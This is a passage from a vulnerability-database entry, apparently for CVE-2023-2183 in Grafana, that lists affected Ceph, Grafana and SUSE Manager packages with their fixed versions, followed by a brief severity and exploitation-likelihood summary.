 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librbd1
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librbd1-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librgw-devel
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librgw2
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librgw2-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-ceph-argparse
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-ceph-common
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-cephfs
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-cephfs-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-rados
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-rados-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-rbd
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-rbd-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-rgw
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
python3-rgw-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
rbd-fuse-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
rbd-mirror-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
rbd-nbd
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
rbd-nbd-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
grafana
SUSE:Manager Client Tools 15
From an advisory covering 3 CVEs
 before 9.5.5-150000.1.51.1
9.5.5-150000.1.51.1
grafana
SUSE:Manager Client Tools 12
From an advisory covering 3 CVEs
 before 9.5.5-1.51.1
9.5.5-1.51.1
grafana
SUSE:Linux Enterprise Module for Package Hub 15 SP4
From an advisory covering 3 CVEs
 before 9.5.5-150200.3.44.1
9.5.5-150200.3.44.1
grafana
SUSE:Linux Enterprise Module for Package Hub 15 SP5
From an advisory covering 3 CVEs
 before 9.5.5-150200.3.44.1
9.5.5-150200.3.44.1
grafana
openSUSE:Leap 15.4
From an advisory covering 3 CVEs
 before 9.5.5-150200.3.44.1
9.5.5-150200.3.44.1
grafana
openSUSE:Leap 15.5
From an advisory covering 3 CVEs
 before 9.5.5-150200.3.44.1
9.5.5-150200.3.44.1
golang-github-QubitProducts-exporter_exporter
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 0.4.0-4.6.2
0.4.0-4.6.2
golang-github-boynux-squid_exporter
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 1.6-4.9.2
1.6-4.9.2
golang-github-lusitaniae-apache_exporter
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 1.0.0-4.12.4
1.0.0-4.12.4
golang-github-prometheus-alertmanager
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 0.26.0-4.12.4
0.26.0-4.12.4
golang-github-prometheus-node_exporter
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 1.5.0-4.15.4
1.5.0-4.15.4
golang-github-prometheus-prometheus
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 2.45.0-4.33.3
2.45.0-4.33.3
golang-github-prometheus-promu
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 0.14.0-4.12.2
0.14.0-4.12.2
grafana
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 9.5.8-4.21.2
9.5.8-4.21.2
kiwi-desc-saltboot
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 0.1.1687520761.cefb248-4.15.2
0.1.1687520761.cefb248-4.15.2
mgr-push
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 5.0.1-4.21.4
5.0.1-4.21.4
prometheus-blackbox_exporter
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 0.24.0-3.6.3
0.24.0-3.6.3
prometheus-postgres_exporter
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 0.10.1-3.6.4
0.10.1-3.6.4
python-hwdata
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 2.3.5-15.12.2
2.3.5-15.12.2
rhnlib
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 5.0.1-24.30.3
5.0.1-24.30.3
spacecmd
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 5.0.1-41.42.3
5.0.1-41.42.3
supportutils-plugin-salt
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 1.2.2-9.9.2
1.2.2-9.9.2
supportutils-plugin-susemanager-client
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 5.0.1-9.15.2
5.0.1-9.15.2
system-user-grafana
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 1.0.0-3.7.2
1.0.0-3.7.2
system-user-prometheus
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 1.0.0-3.7.2
1.0.0-3.7.2
uyuni-common-libs
SUSE:Manager Client Tools 12-BETA
From an advisory covering 45 CVEs
 before 5.0.1-3.33.3
5.0.1-3.33.3
ansible
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 2.9.27-159000.3.9.1
2.9.27-159000.3.9.1
dracut-saltboot
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 0.1.1681904360.84ef141-159000.3.30.1
0.1.1681904360.84ef141-159000.3.30.1
golang-github-QubitProducts-exporter_exporter
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 0.4.0-159000.4.6.1
0.4.0-159000.4.6.1
golang-github-boynux-squid_exporter
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 1.6-159000.4.9.1
1.6-159000.4.9.1
golang-github-lusitaniae-apache_exporter
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 1.0.0-159000.4.12.1
1.0.0-159000.4.12.1
golang-github-prometheus-prometheus
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 2.45.0-159000.6.33.1
2.45.0-159000.6.33.1
grafana
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 9.5.8-159000.4.24.1
9.5.8-159000.4.24.1
mgr-push
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 5.0.1-159000.4.21.1
5.0.1-159000.4.21.1
prometheus-blackbox_exporter
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 0.24.0-159000.3.6.1
0.24.0-159000.3.6.1
prometheus-postgres_exporter
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 0.10.1-159000.3.6.1
0.10.1-159000.3.6.1
python-hwdata
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 2.3.5-159000.5.13.1
2.3.5-159000.5.13.1
python-pyvmomi
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 6.7.3-159000.3.6.1
6.7.3-159000.3.6.1
rhnlib
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 5.0.1-159000.6.30.1
5.0.1-159000.6.30.1
spacecmd
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 5.0.1-159000.6.42.1
5.0.1-159000.6.42.1
spacewalk-client-tools
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 5.0.1-159000.6.48.1
5.0.1-159000.6.48.1
supportutils-plugin-salt
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 1.2.2-159000.5.9.1
1.2.2-159000.5.9.1
supportutils-plugin-susemanager-client
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 5.0.1-159000.6.15.1
5.0.1-159000.6.15.1
uyuni-common-libs
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 5.0.1-159000.3.33.1
5.0.1-159000.3.33.1
uyuni-proxy-systemd-services
SUSE:Manager Client Tools 15-BETA
From an advisory covering 44 CVEs
 before 5.0.1-159000.3.9.1
5.0.1-159000.3.9.1
dracut-saltboot
SUSE:Manager Client Tools Beta for SLE Micro 5
From an advisory covering 44 CVEs
 before 0.1.1681904360.84ef141-159000.3.30.1
0.1.1681904360.84ef141-159000.3.30.1
golang-github-QubitProducts-exporter_exporter
SUSE:Manager Client Tools Beta for SLE Micro 5
From an advisory covering 44 CVEs
 before 0.4.0-159000.4.6.1
0.4.0-159000.4.6.1
prometheus-blackbox_exporter
SUSE:Manager Client Tools Beta for SLE Micro 5
From an advisory covering 44 CVEs
 before 0.24.0-159000.3.6.1
0.24.0-159000.3.6.1
uyuni-proxy-systemd-services
SUSE:Manager Client Tools Beta for SLE Micro 5
From an advisory covering 44 CVEs
 before 5.0.1-159000.3.9.1
5.0.1-159000.3.9.1
grafana
Ubuntu:16.04:LTS
 All versions, plus listed versions
2.6.0+dfsg-1
 None known
grafana
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
 before 10.0.1-2.1
10.0.1-2.1

History

History
RecordedChangedSources
affected, facts
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-2183 is a medium vulnerability (CVSS 4.1) in Grafana, published June 6, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.03%, the 63rd percentile. Fixed in github.com/grafana/grafana 8.5.26.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 31 references and the rest of 4 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open